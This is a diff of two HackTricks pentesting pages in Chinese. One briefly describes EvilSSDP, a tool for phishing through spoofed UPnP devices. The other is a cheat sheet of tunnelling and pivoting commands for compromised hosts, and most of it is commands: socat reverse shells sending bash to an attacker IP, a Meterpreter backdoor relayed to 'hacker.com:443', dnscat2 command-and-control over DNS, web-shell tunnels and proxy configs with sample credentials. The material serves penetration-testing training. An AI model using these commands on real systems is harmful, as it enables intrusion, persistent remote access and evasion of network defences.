# Spoofing SSDP and UPnP Devices with EvilSSDP
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**查看[https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/](https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/)获取更多信息。**
|
||||
**查看 [https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/](https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/) 获取更多信息。**
|
||||
|
||||
## **SSDP和UPnP概述**
|
||||
## **SSDP & UPnP 概述**
|
||||
|
||||
SSDP(简单服务发现协议)用于网络服务的广告和发现,运行在UDP端口1900上,无需DHCP或DNS配置。它在UPnP(通用即插即用)架构中起着基础作用,促进了计算机、打印机和移动设备等网络设备之间的无缝交互。UPnP的零配置网络支持设备发现、IP地址分配和服务广告。
|
||||
SSDP(简单服务发现协议)用于网络服务广告和发现,运行在 UDP 端口 1900 上,无需 DHCP 或 DNS 配置。它在 UPnP(通用即插即用)架构中是基础,促进了网络设备(如 PC、打印机和移动设备)之间的无缝交互。UPnP 的零配置网络支持设备发现、IP 地址分配和服务广告。
|
||||
|
||||
## **UPnP流程和结构**
|
||||
## **UPnP 流程与结构**
|
||||
|
||||
UPnP架构包括六个层:寻址、发现、描述、控制、事件和表示。最初,设备尝试获取IP地址或自动分配一个(AutoIP)。发现阶段涉及SSDP,设备积极发送M-SEARCH请求或被动广播NOTIFY消息以宣布服务。控制层对于客户端-设备交互至关重要,利用XML文件中的设备描述执行基于命令的SOAP消息。
|
||||
UPnP 架构由六层组成:寻址、发现、描述、控制、事件和展示。最初,设备尝试获取 IP 地址或自我分配一个(AutoIP)。发现阶段涉及 SSDP,设备主动发送 M-SEARCH 请求或被动广播 NOTIFY 消息以宣布服务。控制层对于客户端与设备的交互至关重要,利用 SOAP 消息根据 XML 文件中的设备描述执行命令。
|
||||
|
||||
## **IGD和工具概述**
|
||||
## **IGD & 工具概述**
|
||||
|
||||
IGD(Internet Gateway Device)在NAT设置中支持临时端口映射,允许通过开放的SOAP控制点接受命令,尽管标准WAN接口有限制。像**Miranda**这样的工具有助于UPnP服务发现和命令执行。**Umap**公开了可通过WAN访问的UPnP命令,而像**upnp-arsenal**这样的存储库提供了各种UPnP工具。**Evil SSDP**专门用于通过欺骗的UPnP设备进行网络钓鱼,提供模板来模仿合法服务。
|
||||
IGD(互联网网关设备)在 NAT 设置中促进临时端口映射,允许通过开放的 SOAP 控制点接受命令,尽管标准 WAN 接口存在限制。像 **Miranda** 这样的工具有助于 UPnP 服务发现和命令执行。**Umap** 暴露可通过 WAN 访问的 UPnP 命令,而像 **upnp-arsenal** 这样的库提供了一系列 UPnP 工具。**Evil SSDP** 专注于通过伪造的 UPnP 设备进行钓鱼,托管模板以模仿合法服务。
|
||||
|
||||
## **Evil SSDP的实际用途**
|
||||
## **Evil SSDP 实际使用**
|
||||
|
||||
Evil SSDP有效地创建令人信服的虚假UPnP设备,诱使用户与看似真实的服务进行交互。用户被真实外观欺骗,可能提供诸如凭据之类的敏感信息。该工具的多功能性延伸到各种模板,模仿扫描仪、Office365甚至密码保险库等服务,利用用户的信任和网络可见性。在捕获凭据后,攻击者可以将受害者重定向到指定的URL,保持欺骗的可信度。
|
||||
Evil SSDP 有效地创建令人信服的假 UPnP 设备,操纵用户与看似真实的服务进行交互。用户被真实的外观所欺骗,可能会提供敏感信息,如凭据。该工具的多功能性扩展到各种模板,模仿扫描仪、Office365 甚至密码保险库等服务,利用用户的信任和网络可见性。在捕获凭据后,攻击者可以将受害者重定向到指定的 URL,保持欺骗的可信度。
|
||||
|
||||
## **缓解策略**
|
||||
|
||||
为了应对这些威胁,建议采取以下措施:
|
||||
|
||||
- 在不需要时关闭设备上的UPnP。
|
||||
- 教育用户有关网络钓鱼和网络安全。
|
||||
- 监控网络流量以防止未加密的敏感数据泄露。
|
||||
- 在不需要时禁用设备上的 UPnP。
|
||||
- 教育用户有关钓鱼和网络安全的知识。
|
||||
- 监控网络流量以查找未加密的敏感数据。
|
||||
|
||||
总的来说,虽然UPnP提供了便利和网络流动性,但也为潜在的利用敞开了大门。意识和积极的防御是确保网络完整性的关键。
|
||||
总之,虽然 UPnP 提供了便利和网络流动性,但也为潜在的利用打开了大门。意识和主动防御是确保网络完整性的关键。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# 隧道和端口转发
|
||||
# Tunneling and Port Forwarding
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -20,15 +23,15 @@
|
|||
|
||||
***
|
||||
|
||||
## Nmap提示
|
||||
## Nmap 提示
|
||||
|
||||
{% hint style="warning" %}
|
||||
**ICMP**和**SYN**扫描无法通过socks代理进行隧道传输,因此我们必须**禁用ping发现**(`-Pn`)并指定**TCP扫描**(`-sT`)才能使其正常工作。
|
||||
**ICMP** 和 **SYN** 扫描无法通过 socks 代理进行隧道传输,因此我们必须 **禁用 ping 探测** (`-Pn`) 并指定 **TCP 扫描** (`-sT`) 以使其工作。
|
||||
{% endhint %}
|
||||
|
||||
## **Bash**
|
||||
|
||||
**主机 -> 跳板 -> 内部A -> 内部B**
|
||||
**主机 -> 跳转 -> 内部A -> 内部B**
|
||||
```bash
|
||||
# On the jump server connect the port 3333 to the 5985
|
||||
mknod backpipe p;
|
||||
|
@ -46,11 +49,11 @@ evil-winrm -u username -i Jump
|
|||
```
|
||||
## **SSH**
|
||||
|
||||
SSH图形连接(X)
|
||||
SSH 图形连接 (X)
|
||||
```bash
|
||||
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
|
||||
```
|
||||
### 本地端口到端口
|
||||
### Local Port2Port
|
||||
|
||||
在SSH服务器中打开新端口 --> 其他端口
|
||||
```bash
|
||||
|
@ -60,9 +63,9 @@ ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in
|
|||
```bash
|
||||
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
|
||||
```
|
||||
### 端口到端口
|
||||
### Port2Port
|
||||
|
||||
本地端口 --> 受损主机(SSH) --> 第三台主机:端口
|
||||
本地端口 --> 被攻陷的主机 (SSH) --> 第三方\_盒子:端口
|
||||
```bash
|
||||
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
|
||||
#Example
|
||||
|
@ -70,13 +73,13 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
|
|||
```
|
||||
### Port2hostnet (proxychains)
|
||||
|
||||
本地端口 --> 受损主机(SSH) --> 任何地方
|
||||
本地端口 --> 被攻陷的主机 (SSH) --> 任何地方
|
||||
```bash
|
||||
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
|
||||
```
|
||||
### 反向端口转发
|
||||
|
||||
这对通过 DMZ 从内部主机获取反向 shell 非常有用:
|
||||
这对于通过 DMZ 从内部主机获取反向 shell 到您的主机非常有用:
|
||||
```bash
|
||||
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
|
||||
|
@ -85,9 +88,9 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
|||
# and change the line "GatewayPorts no" to "GatewayPorts yes"
|
||||
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
|
||||
```
|
||||
### VPN隧道
|
||||
### VPN-Tunnel
|
||||
|
||||
您需要在**两台设备上都有root权限**(因为您将要创建新的接口),并且sshd配置必须允许root登录:\
|
||||
您需要**在两个设备上具有root权限**(因为您将要创建新的接口),并且sshd配置必须允许root登录:\
|
||||
`PermitRootLogin yes`\
|
||||
`PermitTunnel yes`
|
||||
```bash
|
||||
|
@ -97,19 +100,19 @@ ifconfig tun0 up #Activate the client side network interface
|
|||
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
|
||||
ifconfig tun0 up #Activate the server side network interface
|
||||
```
|
||||
在服务器端启用转发。
|
||||
在服务器端启用转发
|
||||
```bash
|
||||
echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
|
||||
```
|
||||
在客户端上设置新路由
|
||||
在客户端设置新路由
|
||||
```
|
||||
route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
## SSHUTTLE
|
||||
|
||||
您可以通过**ssh**将所有流量通过主机**隧道**到一个**子网络**。\
|
||||
例如,转发所有流向 10.10.10.0/24 的流量
|
||||
您可以通过 **ssh** 将所有 **流量** 通过主机 **隧道** 到 **子网络**。\
|
||||
例如,转发所有发送到 10.10.10.0/24 的流量。
|
||||
```bash
|
||||
pip install sshuttle
|
||||
sshuttle -r user@host 10.10.10.10/24
|
||||
|
@ -121,15 +124,13 @@ sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
|
|||
```
|
||||
## Meterpreter
|
||||
|
||||
### 端口到端口
|
||||
### Port2Port
|
||||
|
||||
本地端口 --> 受损主机(活动会话) --> 第三台主机:端口
|
||||
本地端口 --> 被攻陷的主机(活动会话) --> 第三方\_盒子:端口
|
||||
```bash
|
||||
# Inside a meterpreter session
|
||||
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
|
||||
```
|
||||
### SOCKS
|
||||
|
||||
### SOCKS
|
||||
```bash
|
||||
background# meterpreter session
|
||||
|
@ -153,9 +154,9 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
|||
```
|
||||
## Cobalt Strike
|
||||
|
||||
### SOCKS代理
|
||||
### SOCKS 代理
|
||||
|
||||
在团队服务器中打开一个端口,监听所有可以用来**通过beacon路由流量**的接口。
|
||||
在 teamserver 中打开一个端口,监听所有接口,以便可以用来 **通过 beacon 路由流量**。
|
||||
```bash
|
||||
beacon> socks 1080
|
||||
[+] started SOCKS4a server on: 1080
|
||||
|
@ -166,16 +167,22 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
|
|||
### rPort2Port
|
||||
|
||||
{% hint style="warning" %}
|
||||
在这种情况下,**端口在信标主机中打开**,而不是在团队服务器中打开,流量被发送到团队服务器,然后再转发到指定的主机:端口。
|
||||
在这种情况下,**端口在信标主机上打开**,而不是在团队服务器上,流量被发送到团队服务器,然后从那里发送到指定的主机:端口
|
||||
{% endhint %}
|
||||
```bash
|
||||
rportfwd [bind port] [forward host] [forward port]
|
||||
rportfwd stop [bind port]
|
||||
```
|
||||
### rPort2Port 本地
|
||||
To note:
|
||||
|
||||
- Beacon的反向端口转发旨在**将流量隧道到团队服务器,而不是在单个机器之间中继**。
|
||||
- 流量是**在Beacon的C2流量中隧道化**,包括P2P链接。
|
||||
- **不需要管理员权限**来在高端口上创建反向端口转发。
|
||||
|
||||
### rPort2Port local
|
||||
|
||||
{% hint style="warning" %}
|
||||
在这种情况下,**端口在信标主机上打开**,而不是在团队服务器上,**流量被发送到钴蓝打击客户端**(而不是团队服务器),然后从那里发送到指定的主机:端口。
|
||||
在这种情况下,**端口在beacon主机上打开**,而不是在团队服务器上,**流量发送到Cobalt Strike客户端**(而不是团队服务器),然后从那里发送到指定的主机:端口
|
||||
{% endhint %}
|
||||
```
|
||||
rportfwd_local [bind port] [forward host] [forward port]
|
||||
|
@ -185,14 +192,14 @@ rportfwd_local stop [bind port]
|
|||
|
||||
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
|
||||
|
||||
您需要上传一个Web文件隧道:ashx|aspx|js|jsp|php|php|jsp
|
||||
您需要上传一个网络文件隧道:ashx|aspx|js|jsp|php|php|jsp
|
||||
```bash
|
||||
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
|
||||
```
|
||||
## Chisel
|
||||
|
||||
您可以从[https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)的发布页面下载\
|
||||
您需要为客户端和服务器使用**相同的版本**
|
||||
您可以从 [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) 的发布页面下载它。\
|
||||
您需要为客户端和服务器使用 **相同版本**
|
||||
|
||||
### socks
|
||||
```bash
|
||||
|
@ -212,7 +219,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
|
|||
|
||||
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
|
||||
|
||||
反向隧道。隧道从受害者端启动。\
|
||||
反向隧道。隧道从受害者开始。\
|
||||
在 127.0.0.1:1080 上创建一个 socks4 代理。
|
||||
```bash
|
||||
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
|
||||
|
@ -221,7 +228,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
|
|||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
|
||||
```
|
||||
通过**NTLM代理**进行中继
|
||||
通过 **NTLM 代理** 进行枢轴
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
|
||||
```
|
||||
|
@ -243,15 +250,15 @@ attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
|
|||
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
||||
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
```
|
||||
### 端口到端口
|
||||
### Port2Port
|
||||
```bash
|
||||
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
|
||||
```
|
||||
### 通过socks进行端口到端口的转发
|
||||
### 通过socks的Port2Port
|
||||
```bash
|
||||
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
|
||||
```
|
||||
### 通过 SSL Socat 进行 Meterpreter
|
||||
### 通过 SSL Socat 的 Meterpreter
|
||||
```bash
|
||||
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
|
||||
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
|
||||
|
@ -261,7 +268,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
|
|||
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
||||
#Execute the meterpreter
|
||||
```
|
||||
您可以绕过**未经身份验证的代理**,在受害者控制台中执行以下代码而不是最后一行代码:
|
||||
您可以通过在受害者的控制台中执行这一行来绕过**非认证代理**:
|
||||
```bash
|
||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||
```
|
||||
|
@ -271,7 +278,7 @@ OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacke
|
|||
|
||||
**/bin/sh 控制台**
|
||||
|
||||
在客户端和服务器端创建证书
|
||||
在客户端和服务器两侧创建证书:
|
||||
```bash
|
||||
# Execute these commands on both sides
|
||||
FILENAME=socatssl
|
||||
|
@ -285,7 +292,7 @@ chmod 600 $FILENAME.key $FILENAME.pem
|
|||
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
|
||||
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
|
||||
```
|
||||
### 远程端口到端口
|
||||
### Remote Port2Port
|
||||
|
||||
将本地SSH端口(22)连接到攻击者主机的443端口
|
||||
```bash
|
||||
|
@ -295,16 +302,16 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
|||
```
|
||||
## Plink.exe
|
||||
|
||||
这就像是一个控制台版本的 PuTTY(选项与 ssh 客户端非常相似)。
|
||||
它就像一个控制台版本的PuTTY(选项与ssh客户端非常相似)。
|
||||
|
||||
由于这个二进制文件将在受害者中执行,并且它是一个 ssh 客户端,我们需要打开我们的 ssh 服务和端口,以便我们可以建立一个反向连接。然后,只需将本地可访问端口转发到我们机器上的一个端口:
|
||||
由于这个二进制文件将在受害者的机器上执行,并且它是一个ssh客户端,我们需要打开我们的ssh服务和端口,以便能够建立反向连接。然后,将仅本地可访问的端口转发到我们机器上的一个端口:
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
```
|
||||
## Windows netsh
|
||||
|
||||
### 端口到端口
|
||||
### Port2Port
|
||||
|
||||
您需要是本地管理员(对于任何端口)
|
||||
```bash
|
||||
|
@ -318,39 +325,39 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
|||
```
|
||||
## SocksOverRDP & Proxifier
|
||||
|
||||
您需要**通过系统获得RDP访问权限**。\
|
||||
您需要拥有**系统的RDP访问权限**。\
|
||||
下载:
|
||||
|
||||
1. [SocksOverRDP x64 二进制文件](https://github.com/nccgroup/SocksOverRDP/releases) - 该工具使用Windows远程桌面服务功能中的`Dynamic Virtual Channels` (`DVC`)。DVC负责**在RDP连接上隧道传输数据包**。
|
||||
2. [Proxifier 便携版二进制文件](https://www.proxifier.com/download/#win-tab)
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - 此工具使用Windows的远程桌面服务功能中的`动态虚拟通道`(`DVC`)。DVC负责**在RDP连接上隧道数据包**。
|
||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
在您的客户端计算机上加载**`SocksOverRDP-Plugin.dll`**,如下所示:
|
||||
```bash
|
||||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
现在我们可以使用`mstsc.exe`连接到受害者的RDP,并且我们应该收到一个提示,表示SocksOverRDP插件已启用,并且它将在127.0.0.1:1080上监听。
|
||||
现在我们可以通过 **RDP** 使用 **`mstsc.exe`** 连接到 **victim**,我们应该收到一个 **prompt**,提示 **SocksOverRDP 插件已启用**,并且它将 **listen** 在 **127.0.0.1:1080**。
|
||||
|
||||
通过RDP连接并在受害者机器上上传并执行`SocksOverRDP-Server.exe`二进制文件:
|
||||
通过 **RDP** 连接并在受害者机器上上传并执行 `SocksOverRDP-Server.exe` 二进制文件:
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
现在,在您的机器(攻击者)上确认端口1080正在监听:
|
||||
现在,在你的机器(攻击者)上确认端口 1080 正在监听:
|
||||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
现在,您可以使用[**Proxifier**](https://www.proxifier.com/) **通过该端口代理流量。**
|
||||
现在您可以使用 [**Proxifier**](https://www.proxifier.com/) **通过该端口代理流量。**
|
||||
|
||||
## 通过Proxifier代理Windows GUI应用程序
|
||||
## 代理 Windows GUI 应用程序
|
||||
|
||||
您可以使用[**Proxifier**](https://www.proxifier.com/) 让Windows GUI应用程序通过代理进行导航。\
|
||||
在**Profile -> Proxy Servers**中添加SOCKS服务器的IP和端口。\
|
||||
在**Profile -> Proxification Rules**中添加要代理的程序名称以及要代理的IP连接。
|
||||
您可以使用 [**Proxifier**](https://www.proxifier.com/) 使 Windows GUI 应用程序通过代理进行导航。\
|
||||
在 **Profile -> Proxy Servers** 中添加 SOCKS 服务器的 IP 和端口。\
|
||||
在 **Profile -> Proxification Rules** 中添加要代理的程序名称和要代理的 IP 连接。
|
||||
|
||||
## NTLM代理绕过
|
||||
## NTLM 代理绕过
|
||||
|
||||
前面提到的工具:**Rpivot**\
|
||||
**OpenVPN**也可以绕过它,设置配置文件中的这些选项:
|
||||
之前提到的工具:**Rpivot**\
|
||||
**OpenVPN** 也可以绕过它,在配置文件中设置这些选项:
|
||||
```bash
|
||||
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
```
|
||||
|
@ -358,8 +365,8 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
|||
|
||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
它对代理进行身份验证,并在本地绑定一个端口,该端口被转发到您指定的外部服务。然后,您可以通过此端口使用您选择的工具。\
|
||||
例如,将端口443转发。
|
||||
它对代理进行身份验证,并在本地绑定一个端口,该端口转发到您指定的外部服务。然后,您可以通过此端口使用您选择的工具。\
|
||||
例如,转发端口 443
|
||||
```
|
||||
Username Alice
|
||||
Password P@ssw0rd
|
||||
|
@ -367,34 +374,34 @@ Domain CONTOSO.COM
|
|||
Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
现在,如果您在受害者中设置**SSH**服务监听端口443。您可以通过攻击者端口2222连接到它。\
|
||||
您还可以使用连接到localhost:443的**meterpreter**,而攻击者正在监听端口2222。
|
||||
现在,如果你在受害者的**SSH**服务上设置监听端口为443。你可以通过攻击者的2222端口连接到它。\
|
||||
你也可以使用一个连接到localhost:443的**meterpreter**,而攻击者在2222端口监听。
|
||||
|
||||
## YARP
|
||||
|
||||
由Microsoft创建的反向代理。您可以在这里找到它:[https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
|
||||
由微软创建的反向代理。你可以在这里找到它: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
|
||||
|
||||
## DNS隧道
|
||||
## DNS Tunneling
|
||||
|
||||
### Iodine
|
||||
|
||||
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
||||
|
||||
在两个系统中都需要root权限来创建tun适配器,并使用DNS查询在它们之间传输数据。
|
||||
在两个系统中都需要root权限,以创建tun适配器并通过DNS查询在它们之间隧道数据。
|
||||
```
|
||||
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
#You can see the victim at 1.1.1.2
|
||||
```
|
||||
隧道速度会很慢。您可以通过以下方式在此隧道上创建一个压缩的SSH连接:
|
||||
隧道将会非常慢。您可以通过使用以下命令在此隧道中创建一个压缩的SSH连接:
|
||||
```
|
||||
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
||||
```
|
||||
### DNSCat2
|
||||
|
||||
[**从这里下载**](https://github.com/iagox86/dnscat2)**。**
|
||||
[**从这里下载**](https://github.com/iagox86/dnscat2)**.**
|
||||
|
||||
通过 DNS 建立 C\&C 通道。不需要 root 权限。
|
||||
通过DNS建立C\&C通道。它不需要root权限。
|
||||
```bash
|
||||
attacker> ruby ./dnscat2.rb tunneldomain.com
|
||||
victim> ./dnscat2 tunneldomain.com
|
||||
|
@ -410,14 +417,14 @@ victim> ./dnscat2 --dns host=10.10.10.10,port=5353
|
|||
Import-Module .\dnscat2.ps1
|
||||
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
|
||||
```
|
||||
#### **使用dnscat进行端口转发**
|
||||
#### **使用 dnscat 进行端口转发**
|
||||
```bash
|
||||
session -i <sessions_id>
|
||||
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
|
||||
```
